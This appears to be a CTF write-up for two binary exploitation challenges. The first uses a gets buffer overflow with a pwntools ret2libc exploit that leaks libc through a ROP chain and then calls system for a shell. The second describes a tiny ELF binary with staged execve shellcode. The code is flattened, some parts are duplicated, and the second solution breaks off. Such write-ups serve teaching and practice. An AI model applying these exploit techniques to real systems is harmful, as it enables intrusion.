intmain(){ init(); char mem[0x100]; puts("pwning from the start okay?"); gets(mem); return0; }
Summary
Found using gets which is BOF and there is RDI gadget just do ret2libc->ret2system
Solution
Given a binary, when decompiled, it finds BOF using gets. To find the offset, you can directly calculate it from the total array variable + RBP -> 256 + 8 = 264. We also found the RDI gadget, so now we just need to ret2libc by calling:
1 2
printf(got-addr); main();
So I’ll choose gets here. After finding the libc leak, we can directly calculate the offset with the base libc using pwntools symbols, which is automatic because we know the leak libc gets. Now we just need to ret2system to get the shell.
defdebug(): global gdbscript, pid if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: gdbscript = f''' init-pwndbg set sysroot /proc/{pid}/root c '''.format(**locals()) attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe='chall') else: attach(io, gdbscript=gdbscript)
defexploit(): global io io = initialize() offset = 264 rop = ROP(elf) rop.puts(elf.got['gets']) rop.raw(rop.ret.address) rop.main() payload = flat({offset: rop.chain()}) io.sendlineafter("pwning from the start okay?", payload) io.recvline() gets = u64(io.recvline().strip().ljust(0x8, b'\x00')) libc.address = gets - libc.sym['gets'] log.info("Gets address: %#x", gets) log.info("Libc base address: %#x", libc.address) payload = flat({offset: ret2system()}) io.sendlineafter("pwning from the start okay?", payload)
io.interactive()
if __name__ == '__main__': exploit()
Flag
ACE{ Don't you notice how I get quiet when there's no one else around? Me and you and awkward silence Don't you dare look at me that way I don't need reminders of how you don't feel the same Oh, the burning pain Listening to you harp on 'bout some new soulmate "She's so perfect, " blah, blah, blah Oh, how I wish you'll wake up one day Run to me, confess your love, at least just let me say That when I talk to you, oh, Cupid walks right through And shoots an arrow through my heart And I sound like a loon, but don't you feel it too? Confess I loved you from the start What's a girl to do? Lying on my bed, staring into the blue Unrequited, terrifying Love is driving me a bit insane Have to get this off my chest I'm telling you today That when I talk to you, oh, Cupid walks right through And shoots an arrow through my heart And I sound like a loon, but don't you feel it too? Confess I loved you from the start Confess I loved you Just thinking of you I know I've loved you from the start }
with os.fdopen(fd, "wb", closefd=False) as f: f.write(sylphiette)
try: p = subprocess.Popen([f"/proc/{os.getpid()}/fd/{fd}"], shell=False) p.wait() except: os.killpg(os.getpid(), 9) exit(1)
Summary
Simply create an ELF binary smaller than 77 by calling the read syscall and then jumping to the buffer, the buffer input being the execve shellcode.
Solution
Given a chall.py that requests input smaller than 77 and has a header \x7fELF and is in base64. After the input will execute the binary. To meet these requirements requires an understanding of ELF binary. So for the solution starting with having an ELF type, of course I chose 32-bit ELF. But 32-bit ELF requires ELF Header + Program Header -> 52 + 32 = about 84 bytes which does not meet these requirements. Then after 6 hours of research, it turns out that from the first github I found there was a reference to the minimum ELF article that I 🤬 missed on github, I found an article discussing overlapping chunks to create the minimum ELF binary size.
Here I use an ELF binary template size 76 because it is more debugable with gdb.
After I tried to change the elf binary, it was found that only 1 part of the elf header at offset 0x40 could be changed without damaging the ELF Binary. So, to keep things short, I came up with the idea of using shellcode that calls
1 2
read(0, rwx, rwx); *(*rwx);
The syscall number read is 32-bit, so eax = 3 is needed.
Then, to make it shorter, the shellcode can pivot with jmp $+offset. I first compiled it using nasm to calculate the offset to ELF binary 0x40. Then, I manually wrote the shellcode at offset 0x40 using printf and dd, where the shellcode would mov rdx, rcx, then call the syscall and jmp rwx.
For the second shellcode, I used shellcode from exploitdb, which is about 24 bytes.
defdebug(): global gdbscript, pid if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: gdbscript = f''' init-pwndbg set sysroot /proc/{pid}/root c '''.format(**locals()) attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe='chall') else: attach(io, gdbscript=gdbscript)